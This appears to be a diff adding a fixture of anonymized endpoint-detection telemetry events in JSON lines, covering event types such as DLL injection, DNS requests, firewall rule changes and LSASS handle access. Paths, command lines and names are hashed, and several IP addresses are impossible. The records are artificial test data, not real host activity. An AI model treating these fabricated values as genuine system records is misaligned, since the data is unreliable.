+{"aip":"216.160.83.56","BoundingLimitCount":"1","UserSid":"S-86813-72426-80065-35729-11846-72517-75085","AllowlistingFilterId":"a3ea8710853f4e1e7","event_platform":"Win","PatternId":"607","EventOrigin":"5","ContextData":"","id":"01a0844d7700635d462669bbadb475d7dcf1","EventCorrelationId":"07103f94d0545ee24951b8c8ce76a5023743","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"DetectionExcluded","ContextTimeStamp":"1758023898.952","ConfigStateHash":"4080600092","ConfigBuild":"2c8b.4.ae3729d.e6","CommandLine":"82\\ab7e5c1\\d24e5507\\12ab4d0.exe /Processid:{e3b0c442-e3b0-e3b0-e3b0-e3b0c44298fc}","TargetProcessId":"6010945098000","BoundingLimitDuration":"3486640","ImageFileName":"\\6ba0bd\\447b992c\\d598026\\d24e5507\\7d7f62b.exe","ExclusionType":"1","Entitlements":"56","name":"b7f0eea0ced34df529cc","ExclusionSource":"5","aid":"016ef640d4add7c7c7e72a5bfc4198c0","cid":"4092825518eaf67377a6e4492ae44577"}
+{"Options":"53790000","ContextThreadId":"32005063951800","MinorFunction":"0","aip":"81.2.69.192","FileIdentifier":"28476710775acf368038686c22c97be5f159b0efaeb459a6","Information":"2","event_platform":"Win","ShareAccess":"3","EventOrigin":"1","id":"245b89777adfd68f4020de1758e56c4467f6","FileObject":"0","EffectiveTransmissionClass":"3","FileAttributes":"274","timestamp":"1743508799999","Status":"0","event_simpleName":"DirectoryCreate","ContextTimeStamp":"1759459284.824","ConfigStateHash":"710307050","ContextProcessId":"7173090406564","IrpFlags":"2500","HandleCreateAuthenticationId":"4000900","ConfigBuild":"2c8b.4.ae3729d.e6","FileEcpBitmask":"0","MajorFunction":"0","DesiredAccess":"5065411","Entitlements":"66","name":"b44ad77e88405a082","OperationFlags":"0","aid":"cd2ef6603266196efe9f1ac402a1586a","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\447b992c\\6b0cc\\7392ca2\\0f51ad6\\813ded8\\c7bac469\\d598026\\43ae32\\664edf91"}
+{"event_simpleName":"DllInjection","TargetThreadId":"505479000700240","RawProcessId":"7310","ThreadStartAddress":"947500501770690","InjectedThreadFlag":"530","ContextTimeStamp":"1758159328.572","ConfigStateHash":"540271348","ContextProcessId":"3006607000981","ContextThreadId":"140004900194068","aip":"81.2.69.192","ThreadStartContext":"9177300087920","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","TargetProcessId":"3000303437040","Entitlements":"96","name":"8b6eec62b5f5f7","EventOrigin":"1","RawThreadId":"5008","id":"92855d0df8f2251c1dfe0bd7d56a97128a25","EffectiveTransmissionClass":"3","aid":"8fb3daf730de8e73c353f0c4137a51b5","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577","InjectedDll":"82\\9134161b\\f3acb4df\\a89bcae.dll"}
+{"FileOperatorSid":"S-13859-13680-73630","ContextBaseFileName":"77b1704b6a85","FileCategory":"9","Size":"50050070","ContextThreadId":"600003001070039","MinorFunction":"0","aip":"81.2.69.142","IsOnNetwork":"0","FileIdentifier":"c4b36cdfcd6d35ec22308c305c6a5bfa78d4446695d532ae","event_platform":"Win","TokenType":"1","EventOrigin":"1","DiskParentDeviceInstanceId":"835\\b9e65ff8\\c23eadb9","id":"b44b58becebd48898306ffd6600bf3f42c16","FileObject":"0","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"DmpFileWritten","ContextTimeStamp":"1746804138.874","ConfigStateHash":"450007109","ContextProcessId":"60860076031000","IrpFlags":"0","AuthenticationId":"864","FileWrittenFlags":"0","ConfigBuild":"2c8b.4.bab7095.e6","FileEcpBitmask":"0","MajorFunction":"0","IsOnRemovableDisk":"0","Entitlements":"16","name":"bf62ca8a93b1c6730","OperationFlags":"0","aid":"61f77498beebf89847bcda33f8541689","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\74d33d26\\d598026\\6666d9f1\\d140261e\\0f51ad6\\8c31e\\036b01a3\\50f6b654.dmp"}
+{"ContextBaseFileName":"c43bc2658","DnsResponseType":"2","IP4Records":"14.241.850.329;92.242.918.779;32.139.851.764;37.484.149.009;06.463.424.022;75.649.915.217;42.359.155.282;01.799.300.833;","ContextThreadId":"908409701000008","aip":"81.2.69.142","CNAMERecords":"0242a563bf947794c2b4356c60c170cba5a45849f27dc9ddb05558f3e3d37823","QueryStatus":"0","InterfaceIndex":"0","event_platform":"Win","DualRequest":"1","EventOrigin":"1","id":"77a6567f5ba2f4450eb816e24c5b0258f4b5","EffectiveTransmissionClass":"3","FirstIP4Record":"216.160.83.56","timestamp":"1743508799999","event_simpleName":"DnsRequest","ContextTimeStamp":"1748744822.996","ConfigStateHash":"1263130834","ContextProcessId":"5002051210496","DomainName":"2ca55df2a79d27d771dacfc7ae97","RespondingDnsServer":"89.160.20.112","ConfigBuild":"2c8b.4.ae3729d.e6","DnsRequestCount":"1","Entitlements":"56","name":"76e889534419","aid":"98148f3ab8db6d0cad5ad44fc9f4f5c7","cid":"4092825518eaf67377a6e4492ae44577","RequestType":"59"}
+{"ThreadStartAddress":"90100003090313109007","InjectedThreadFlag":"85","ContextThreadId":"100705003833870","aip":"81.2.69.142","event_platform":"Win","UserThread":"0","EventOrigin":"1","id":"14a56745976c34e322ccc9af234e692acf35","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"DocumentProgramInjectedThread","TargetThreadId":"209175000090105","RawProcessId":"90010","ContextTimeStamp":"1762971058.579","ConfigStateHash":"2080025170","ContextProcessId":"7202603200007","ThreadStartContext":"60307800056300500065","ConfigBuild":"2c8b.4.bab7095.e6","TargetProcessId":"7602000306800","Entitlements":"96","name":"107f10bd7e2cf68ce87171d8f974b76","RawThreadId":"53040","aid":"73204dfc79175de6cc76f2ae7674dc76","SourceThreadStartAddress":"970004800500552","cid":"4092825518eaf67377a6e4492ae44577"}
+{"AuthenticodeHashDataSHA256":"1645e9642007207f17d4a71d3e4e9e65ac42ce640f5fdfb7a12343c87865f65f","ContextThreadId":"85060031003208","aip":"81.2.69.142","CompanyName":"5951da04edaa9198b1b04","event_platform":"Win","OriginalFilename":"c11d9e9772e","FileVersion":"359b2589a3456ff7703750b83f34717d70893f","ImageCheckSum":"30890","EventOrigin":"45","id":"8f8e5d48a0828ec900552833b592f6bf3137","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"DriverLoad","ContextTimeStamp":"1750118563.660","ConfigStateHash":"4001039063","ContextProcessId":"917013009605","DriverLoadFlags":"0","ImageEntryPoint":"60900","MD5HashData":"7d60d20014499abbe980e8a3e9d3e480","SHA256HashData":"eda078559539e1ddf5f425d3e5263caa0898368aadb13ddf92bb23154540cf6a","ConfigBuild":"2c8b.4.ae3729d.e6","FixedFileVersion":"4a.5.36b21.78c5","ImageFileName":"\\6ba0bd\\447b992c\\d598026\\dc9ec376\\a715181\\2080358.sys","ImageTimeStamp":"7506201701","Entitlements":"96","name":"971d60ec4961","aid":"eb87d6ed52531c4d56701eb0f3bdef5d","cid":"4092825518eaf67377a6e4492ae44577"}
+{"FileOperatorSid":"S-12089-81901-75723-71071-93418-35753-29602","ContextBaseFileName":"4e526e33d5","FileCategory":"4","Size":"100488","ContextThreadId":"118504067206871","MinorFunction":"0","aip":"81.2.69.144","IsOnNetwork":"1","FileIdentifier":"78106833f17fd4e9058f72f38c91f6f1a8740d4b81d7e286","event_platform":"Win","TokenType":"1","EventOrigin":"1","id":"1a93966150b37eeb4506fb5d576569366fbe","FileObject":"0","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"DwgFileWritten","ContextTimeStamp":"1763142957.475","ConfigStateHash":"2080025170","ContextProcessId":"5924007850208","IrpFlags":"0","AuthenticationId":"8650000","FileWrittenFlags":"0","ConfigBuild":"2c8b.4.bab7095.e6","FileEcpBitmask":"0","MajorFunction":"0","IsOnRemovableDisk":"0","Entitlements":"66","name":"73a9d655524e1b4a5","OperationFlags":"0","aid":"8a519558e0f7e42814948bf046b8e5c8","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\fef\\778d6b84\\cf0dca8d\\e747bc\\a4d268\\0d\\0caedded\\04e2a972\\0a032162\\1ce31250\\ab51ae45\\70acbb39\\bbac47ce.tmp"}
+{"ExitCode":"0","ParentProcessId":"2000300900003","ContextThreadId":"632014600074400","aip":"216.160.83.56","ConHostId":"6810","UserSid":"S-78552-69545-47377","CycleTime":"380603073","event_platform":"Win","ConHostProcessId":"2000300900003","MaxThreadCount":"7","EventOrigin":"45","ImageSubsystem":"2","id":"f3b8bd9b2757d9904f845a44ff61827fa755","EffectiveTransmissionClass":"3","timestamp":"1743508799999","KernelTime":"0","UserTime":"0","event_simpleName":"EndOfProcess","RawProcessId":"42084","ContextTimeStamp":"1758502938.869","ConfigStateHash":"710307050","ContextProcessId":"5040620588024","SHA256HashData":"f2d9a06bd0492ecb6f4a35bede5270e5171bc007ed72f3ec451b3de842639423","ConfigBuild":"2c8b.4.ae3729d.e6","TargetProcessId":"8040620588024","Entitlements":"46","name":"e8d15f653d9c08b","ProcessStartTime":"1745927326.269","aid":"3b473364ed16d25221bdb0b435aac52a","cid":"4092825518eaf67377a6e4492ae44577"}
+{"event_simpleName":"ExecutableDeleted","ContextTimeStamp":"1754418925.502","ConfigStateHash":"710307050","ContextProcessId":"9001004100012","IrpFlags":"1730","ContextThreadId":"560346007270302","MinorFunction":"0","aip":"216.160.83.56","FileIdentifier":"1d0d53208eb718270bdec907f1debfa0a9e88658a55f9330","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","MajorFunction":"40","Entitlements":"96","name":"a1721c8914da805eb47","EventOrigin":"1","OperationFlags":"0","id":"b43f550a47cfaab7904ddcd4c778b2d7d2e1","FileObject":"0","EffectiveTransmissionClass":"3","aid":"39074f37291ca6f2d189c1e110e04dfc","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\447b992c\\d598026\\dc9ec376\\a715181\\b169fe25\\40a20853\\b19eb57e.exe\\b62491c6\\6ffbd0fe.exe"}
+{"event_simpleName":"FileDeleteInfo","ContextTimeStamp":"1758466867.856","ConfigStateHash":"3440491101","ContextProcessId":"920132208508","ContextThreadId":"549000000070475","aip":"81.2.69.192","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","TreeId":"400800208204","Entitlements":"56","name":"e1326813e53e44b4","EventOrigin":"3","id":"f17c8a57d6ffa5f985caf45f729cb254772a","EffectiveTransmissionClass":"3","aid":"e1a82faad25f1bc57da5f8b7457d9014","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\74d33d26\\9134161b\\b169fe25\\44ca.TMP"}
+{"Status":"0","event_simpleName":"FileOpenInfo","ContextTimeStamp":"1762335422.843","ConfigStateHash":"9250777000","ContextProcessId":"9011580900835","ContextThreadId":"920000001740500","aip":"216.160.83.56","ConfigBuild":"2c8b.4.bab7095.e6","event_platform":"Win","ShareAccess":"7","DesiredAccess":"5040660","TreeId":"250760900008","Entitlements":"26","name":"c4a834c02a00fb","EventOrigin":"3","id":"46a19a602437699cf4aefb060e91441ba891","EffectiveTransmissionClass":"3","aid":"ea08505420aa828a0a52a6eed3c8a196","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\447b992c\\9134161b\\b169fe25\\4e7075fa.key"}
+{"event_simpleName":"FileRenameInfo","ContextTimeStamp":"1758191223.574","ConfigStateHash":"40820000","ContextProcessId":"50314320728270","SourceFileName":"\\6ba0bd\\539d13bb\\303abfe3\\64211dc1\\4feae\\49830210.WibuCmActDyn","ContextThreadId":"794611930067120","aip":"81.2.69.142","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","TreeId":"407060334007","Entitlements":"36","name":"f4407c8e4882cbdd","EventOrigin":"3","id":"2d662aa35187373d94203d08fc2e4e7115c6","EffectiveTransmissionClass":"3","aid":"ca48acb776296fd7a6e35ee8c4bbde6d","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\539d13bb\\303abfe3\\64211dc1\\4feae\\754cfa0e.TMP"}
+{"event_simpleName":"FileSystemOperationDetectInfo","ContextTimeStamp":"1761719307.584","ConfigStateHash":"710307050","TemplateDisposition":"40","ContextProcessId":"1000790287600","FileSystemOperationType":"3","TemplateInstanceId":"57521","aip":"216.160.83.56","FsOperationClassification":"67","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","CommandLine":"6725e7","FsOperationClassificationFlags":"1","PatternId":"24871","ImageFileName":"6725e7","Entitlements":"66","name":"b22ddf4c03b1a8b30f84e33786dd87b","EventOrigin":"1","id":"ad8c2e5d31cff1e8cdc3892a874ba4927d1a","EffectiveTransmissionClass":"3","aid":"ca2eedaa43a7333759deb5a0191c5313","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\447b992c\\9134161b\\b169fe25\\71e36eee\\ce423a9b\\a5e333\\3ec061.sst"}
+{"event_simpleName":"FirewallChangeOption","ContextTimeStamp":"1754850825.482","ConfigStateHash":"900805208","FirewallProfile":"1","ContextProcessId":"3001999016003","aip":"89.160.20.128","FirewallOption":"78415d0f02a966","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","Entitlements":"36","name":"bd2f52430b3a6e28fa81dc","EventOrigin":"45","id":"ee4fea12623693e1e2aaf450974ca9068925","FirewallOptionNumericValue":"1","EffectiveTransmissionClass":"3","aid":"ee24e7d1ac6add25f7a7969844ad0df3","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
+{"event_simpleName":"FirewallDeleteRule","ContextTimeStamp":"1747634138.862","ConfigStateHash":"900805208","ContextProcessId":"2001999016003","aip":"89.160.20.112","FirewallRuleId":"{e3b0c442-e3b0-e3b0-e3b0-e3b0c44298fc}","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","Entitlements":"96","name":"73c6cc568a65a7c085e0","EventOrigin":"45","id":"4ee907bd437184018039dbce46b3b7fb9586","EffectiveTransmissionClass":"3","aid":"ee24e7d1ac6add25f7a7969844ad0df3","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
+{"event_simpleName":"FirewallSetRule","ContextTimeStamp":"1751555238.829","ConfigStateHash":"900805208","ContextProcessId":"1001999016003","aip":"81.2.69.144","FirewallRuleId":"{e3b0c442-e3b0-e3b0-e3b0-e3b0c44298fc}","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","Entitlements":"26","name":"e6fc8b7f15db47d1f","EventOrigin":"45","id":"b03302898ff47ac683fe0c4e7679c48615d2","EffectiveTransmissionClass":"3","aid":"ee24e7d1ac6add25f7a7969844ad0df3","FirewallRule":"fb.26|Action=Allow|Active=TRUE|Dir=In|App=C:\\8027a4f5\\97cf27ba\\bc713e9c\\685ac68f.exe|Name=LaunchPortal|Desc=SOM|","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
+{"Options":"94007005","ContextThreadId":"50000395917240","MinorFunction":"0","aip":"216.160.83.56","Information":"1","FileIdentifier":"8b4857694cc53ad00ce1993ae1b2f7dd7e2cb5d73383c306","FltRelatedObjects":"32460687653001750097","event_platform":"Win","ShareAccess":"5","EventOrigin":"1","FltCompletionContext":"53130800032000003010","id":"92f7671f25cc7e1d6c1c2c3958b4a65c9c49","FileObject":"0","EffectiveTransmissionClass":"3","FileAttributes":"0","timestamp":"1743508799999","Status":"0","event_simpleName":"FsPostOpenSnapshotFile","ContextTimeStamp":"1749818799.590","ConfigStateHash":"8080600092","ContextProcessId":"7127089080000","IrpFlags":"2500","HandleCreateAuthenticationId":"830","FltCallbackData":"20591370484490000796","ConfigBuild":"2c8b.4.ae3729d.e6","FileEcpBitmask":"0","MajorFunction":"0","DesiredAccess":"3900073","SourceEventUniqueId":"903600070008873043","Entitlements":"96","name":"c7a00dc61cb10ab411c95598","OperationFlags":"0","aid":"d3a1c99f621d3d6474555746950ce9b6","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\da2d906a\\d598026\\dc9ec376\\b79606\\be8"}
+{"aip":"81.2.69.144","event_platform":"Win","TokenType":"2","EventOrigin":"45","InterfaceGuid":"d1c8f153a6a851a17b18fe88f1dbdc9254bf","RpcClientProcessId":"9757071607353","id":"c7017a5199f1e88eb4a44227da2d1a7c8b0d","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"HostedServiceStarted","TargetThreadId":"482081070860200","ContextTimeStamp":"1753416061.221","UserName":"f3c32fdf5aef1041","ConfigStateHash":"3440491101","InterfaceVersion":"0","RpcClientThreadId":"415000840610900","AuthenticationId":"903030080","ServiceDisplayName":"8a7cb45","ConfigBuild":"2c8b.4.ae3729d.e6","TargetProcessId":"6009006000008","ImageFileName":"\\6ba0bd\\447b992c\\d598026\\dc9ec376\\8a7cb45.dll","RpcOpNum":"60","Entitlements":"76","name":"10e85fd7df0a53c38814f5","aid":"22924ad875ce834067bd29857dc11a92","RpcNestingLevel":"1","cid":"4092825518eaf67377a6e4492ae44577"}
+{"event_simpleName":"HostedServiceStopped","TargetThreadId":"51930000290120","ContextTimeStamp":"1758159357.606","ConfigStateHash":"3440491101","aip":"89.160.20.112","ServiceDisplayName":"61b6fb","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","TargetProcessId":"2762512126120","Entitlements":"66","name":"c503d72ad653c0dc87f730","EventOrigin":"1","id":"db2dfa574e4ca1c775249f4fae390c93c57f","EffectiveTransmissionClass":"3","aid":"0400bce96c16b71f27978572adb3d4fd","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
+{"TemplateInstanceId":"5008","aip":"89.160.20.112","HttpRequestHeader":"94cd/394e821c.html HTTP/76a3503a/1b8d6be3/00c0ab07/2cfb9ad5/4e2e1f0b","event_platform":"Win","PatternId":"28450","EventOrigin":"1","id":"5c80fd2a838414022b2f083219c6395b3c6a","ParentCommandLine":"82\\ab7e5c1\\c39d646f.EXE","EffectiveTransmissionClass":"2","timestamp":"1743508799999","HttpInternalSource":"2","event_simpleName":"HttpRequestDetect","ContextTimeStamp":"1754127300.344","UserName":"30d376","ConfigStateHash":"9382309105","ContextProcessId":"4064545006008","HttpUrl":"08cf20/7773b6bd.com/394e821c.html","ConfigBuild":"2c8b.4.ae3729d.e6","CommandLine":"54d\\9134161b\\033b4ae8\\44cb\\440b7488\\0dc8e72.EXE\" /n \"C:\\6b0cc\\30d376\\c4deb08f\\23555a08\\4c840c73.docx\" /o \"\"","ImageFileName":"\\6ba0bd\\447b992c\\9134161b\\033b4ae8\\4813\\440b7488\\0dc8e72.EXE","Entitlements":"36","name":"8d879a136063d7587c6","aid":"561ee5011fb41796a5d3d22ecc19d681","HttpMethod":"1","cid":"4092825518eaf67377a6e4492ae44577"}
+{"ModuleCharacteristics":"86","ContextThreadId":"137030102310","aip":"81.2.69.144","OriginalEventTimeStamp":"1749976122.404","SHA1HashData":"9692067083780606753097782045800757094700","event_platform":"Win","MappedFromUserMode":"1","AuthenticodeHashData":"1025d90d282279e79ede14c4a4916f7c17aa3ac6d2dedb71a5d729a286742c36","EventOrigin":"1","id":"f5638ae317f9e090033436354c7cf5d36549","EffectiveTransmissionClass":"3","ModuleSize":"40360682","timestamp":"1743508799999","event_simpleName":"ImageHash","ContextTimeStamp":"1752117943.580","ConfigStateHash":"5900030004","ContextProcessId":"10705000160","MD5HashData":"896a7b972e546354ae731504897bb216","SHA256HashData":"b04af825f79214304a15028ec496fa629750d2998376793532f6bb3629262fd9","ConfigBuild":"2c8b.4.1403a74.4f","TargetProcessId":"10705000160","ImageFileName":"\\6ba0bd\\447b992c\\9134161b\\42955da6\\10b3abfd\\27b5ee41\\dad56584.exe","Entitlements":"16","name":"dccbe56e7b3","PrimaryModule":"1","aid":"64cded9cf5ef1c609147019ee3184217","SignInfoFlags":"1754009","cid":"4092825518eaf67377a6e4492ae44577"}
+{"ThreadStartAddress":"947500501770690","InjectedThreadFlag":"430","ContextThreadId":"140004900194068","aip":"81.2.69.192","event_platform":"Win","UserThread":"1","TargetThreadModule":"\\63dc8ea2\\1c329924.dll","EventOrigin":"1","id":"5677e0f1c2f59a879c8c966e3f2583d1b374","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"InjectedThread","TargetThreadId":"505479000700240","RawProcessId":"7310","ContextTimeStamp":"1749520856.920","ConfigStateHash":"240271348","ContextProcessId":"3006607000981","ThreadStartContext":"5177300087920","ConfigBuild":"2c8b.4.ae3729d.e6","TargetProcessId":"3000303437040","Entitlements":"36","name":"367b7572c21bead4","RawThreadId":"5008","aid":"8fb3daf730de8e73c353f0c4137a51b5","SourceThreadStartAddress":"984100382000810","cid":"4092825518eaf67377a6e4492ae44577"}
+{"FileOperatorSid":"S-96058-21257-98492","ContextBaseFileName":"d3571e48e3804d61a8d8f51","FileCategory":"1","Size":"58518","ContextThreadId":"60020000009454","MinorFunction":"0","aip":"216.160.83.56","IsOnNetwork":"0","FileIdentifier":"f6d5e5fb805bf40c0b18541da19518120e0c8b72f04940a8","event_platform":"Win","TokenType":"1","EventOrigin":"1","DiskParentDeviceInstanceId":"835\\7f136004\\03bd69ab","id":"162ec74e6e37e7616a81feca0a38cbc4e060","FileObject":"0","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"JarFileWritten","ContextTimeStamp":"1762090431.810","ConfigStateHash":"90089570","ContextProcessId":"3097482600003","IrpFlags":"0","SHA256HashData":"c2b46dde427de7e0b28c82cdeedc919d8a60e3c8fdcb1565b03b26d576b7f503","AuthenticationId":"830","FileWrittenFlags":"0","ConfigBuild":"2c8b.4.ae3729d.e6","FileEcpBitmask":"0","MajorFunction":"0","IsOnRemovableDisk":"0","Entitlements":"66","name":"45bc1cac0e68ad976","OperationFlags":"0","aid":"e8709208d980534971098b9a6fb8cf05","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\74d33d26\\d598026\\d62f\\c337ca0.tmp_dir1745907951\\4fad1919.jar"}
+{"FileOperatorSid":"S-93967-95057-39657-2269-87803-54839-16636","ContextBaseFileName":"939905f021b64c","FileCategory":"6","Size":"5007","MinorFunction":"0","ContextThreadId":"67010543097020","aip":"81.2.69.192","IsOnNetwork":"0","FileIdentifier":"f9187305c797616a091da12f20ae9d2efa91b48088627f5e","event_platform":"Win","TokenType":"1","EventOrigin":"1","DiskParentDeviceInstanceId":"835\\b9e65ff8\\fb6901a4","id":"f1d9633f3c4c1752450748ee02e070b772d4","FileObject":"0","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"JavaClassFileWritten","ContextTimeStamp":"1750434917.905","ConfigStateHash":"3440491101","ContextProcessId":"568260708421","IrpFlags":"0","AuthenticationId":"9006720370","FileWrittenFlags":"0","ConfigBuild":"2c8b.4.ae3729d.e6","FileEcpBitmask":"0","MajorFunction":"0","IsOnRemovableDisk":"0","Entitlements":"36","name":"f5ccfb1a5e748e3a1361b9","OperationFlags":"0","aid":"2a5a4e5c2a642c985c06f8a712f54c03","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\3edfbf1f\\77d9dc83\\6f9505f\\d6c5e3b\\d199e12\\bba61ca6\\2d931c68.class"}
+{"ThreadStartAddress":"7506925004555","InjectedThreadFlag":"940","ContextThreadId":"7029002010518039","aip":"216.160.83.56","event_platform":"Win","UserThread":"1","EventOrigin":"1","id":"5c016fbc5910db79ac911556c19d9efb88c6","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"JavaInjectedThread","TargetThreadId":"8976303018009002","RawProcessId":"60037","ThreadStartBytes":"9ccbd43213c4cce128ebb1afece9b6e1fc1fa5975d32a036fd154b43248f43de","ContextTimeStamp":"1750712370.441","ConfigStateHash":"1080600092","ContextProcessId":"210000852854060","ThreadStartContext":"7031100880000","ConfigBuild":"2c8b.4.ae3729d.e6","TargetProcessId":"800000030087834","Entitlements":"36","name":"cad7121649b58818d895","RawThreadId":"50455","aid":"2278e50b41a263c2d8421b5135a380a7","SourceThreadStartAddress":"270106100035044","cid":"4092825518eaf67377a6e4492ae44577"}
+{"ValidLifetime":"0","OutOctets":"0","MaxReassemblySize":"0","MediaConnectState":"0","InterfaceMtu":"9560","NlMtu":"0","NetworkGuid":"76f651e25d18ba610cf7770da4e745f9886b","InterfaceAlias":"937aad95bcccd8cfa1a93b7bb9c5a2ead","InDiscards":"0","InBroadcastOctets":"0","InterfaceIndex":"0","InterfaceFlags":"0","PermanentPhysicalAddress":"84-83-02-18-52-28-63-e2-04-16-69-91-78-74-82-30-57-61-38-46-31-03-72-60-27-38-22-88-69-31-67-60","DadState":"0","InterfaceType":"0","MinRouterAdvertisementInterval":"0","EventOrigin":"1","MediaType":"46","id":"b1ba5664a59d4ed815268b354ba0a8ca20f4","AddressFamily":"0","LocalIpAddressPipelineSource":"6","ReceiveLinkSpeed":"300785","AccessType":"4","event_simpleName":"LocalIpAddressIP6","PathMtuDiscoveryTimeout":"0","OutDiscards":"0","LocalAddressIP6":"2a02:cf40::1","IpEntryFlags":"0","PreferredLifetime":"0","ConnectionType":"1","DadTransmits":"0","OperStatus":"2","PhysicalAddress":"99-24-19-28-16-80-11-f3-87-25-11-47-34-01-86-69-80-62-83-83-76-34-14-74-17-18-88-22-65-31-79-46","RouteOrigin":"0","InUnknownProtos":"0","OutErrors":"0","DirectionType":"0","InOctets":"0","Entitlements":"86","name":"a01d5ce18dcbf077bc4","RouteAge":"0","InUcastOctets":"0","aid":"8b33228d110f333bb96bb91288f6d8ad","cid":"4092825518eaf67377a6e4492ae44577","IfType":"0","OutUcastOctets":"0","RetransmitTime":"0","SuffixOrigin":"0","InMulticastOctets":"0","OutBroadcastOctets":"0","CreationTimeStamp":"","LinkLocalAddressBehavior":"0","aip":"89.160.20.112","BaseReachableTime":"0","InErrors":"0","RouterDiscoveryBehavior":"0","LinkLocalAddressTimeout":"0","RouteMetric":"0","event_platform":"Win","SitePrefixLength":"0","TransmitLinkSpeed":"300785","PhysicalAddressLength":"72","InUcastPkts":"0","EffectiveTransmissionClass":"2","PrefixOrigin":"0","timestamp":"1743508799999","SkipAsSource":"0","AdminStatus":"2","OnLinkPrefixLength":"0","TunnelType":"0","ConfigStateHash":"9968901000","InterfaceDescription":"f59e6603c99b77bc826e67f3133aa91ba4","InterfaceIdentifier":"0","ScopeLevel":"0","PrefixLength":"0","OutUcastPkts":"0","NetworkInterfaceGuid":"c5b6c77ed6710604982c8df8956c7d308373","ScopeZone":"0","ConfigBuild":"2c8b.4.ae3729d.e6","PhysicalMediumType":"0","NetLuidIndex":"0","InNUcastPkts":"0","MaxRouterAdvertisementInterval":"0","Metric":"0","ReachableTime":"0","OutMulticastOctets":"0","OutNUcastPkts":"0"}
+{"event_simpleName":"LocalIpAddressRemovedIP6","LocalAddressIP6":"2a02:cf40::2","ConfigStateHash":"9968901000","aip":"89.160.20.128","InterfaceIndex":"0","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","NetLuidIndex":"0","Entitlements":"76","name":"872932933dab2f183b4ce071bd","EventOrigin":"1","id":"46389a39e57e9b858db2074d5f94ec7a526d","LocalIpAddressPipelineSource":"6","EffectiveTransmissionClass":"3","aid":"8b33228d110f333bb96bb91288f6d8ad","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
+{"ContextThreadId":"53282469092040","aip":"81.2.69.142","PublicKeys":"0","event_platform":"Win","EventOrigin":"1","id":"6fa27f66ec6a05ff162d3ee4962108a1518e","HandleCreated":"0","EffectiveTransmissionClass":"3","timestamp":"1743508799999","Status":"0","event_simpleName":"LsassHandleFromUnsignedModule","ContextTimeStamp":"1752433670.075","ConfigStateHash":"3440491101","ContextProcessId":"617055030004","SHA256HashData":"7b289396ef4bdcf4e4c3d55c81c2090a8735fa93c9a58e5c538ae65e58a1b243","ExtendedKeyUsages":"1","FileSigningTime":"1696360530.000","ConfigBuild":"2c8b.4.ae3729d.e6","Object1Name":"","TargetProcessId":"330096244003","DesiredAccess":"2336","ImageFileName":"\\6ba0bd\\6cf19058\\9134161b\\4b9430\\6cf901c9\\d89a3e44.exe","Entitlements":"66","name":"a94954f7ef7b687d2b265ac33c34fe0","aid":"84bd7271911c13b227952666802a3e71","SignInfoFlags":"932000","Object1Type":"85300006300503060726","cid":"4092825518eaf67377a6e4492ae44577","Certificate":""}
+{"event_simpleName":"ModifyServiceBinary","ContextTimeStamp":"1758171248.217","ConfigStateHash":"8200073020","ContextProcessId":"603000080603277383","ServiceDescription":"4329d830\\4a6a0a4b\\4b8e4186.dll,-101","ContextThreadId":"108300250532070103","aip":"216.160.83.56","ServiceSecurity":"1c31d/23092a59","ServiceImagePath":"6d7f6dfd4f514f59d14a90da6a661a3 -2 d140261e9173 -5","ServiceDisplayName":"7a476391b5908bfed8e3c37","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","ServiceStart":"3","ServiceType":"840","Entitlements":"16","name":"381f30fed8ec4c276ba29","EventOrigin":"1","ServiceFailureActions":"370906160706958900210000200600006090810303901200700052903087003011111111","id":"f65e6994cc640f2778a1b7af2c40ba921473","ServiceErrorControl":"1","EffectiveTransmissionClass":"3","aid":"c82cce517ab3200fde3ca362e648c993","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
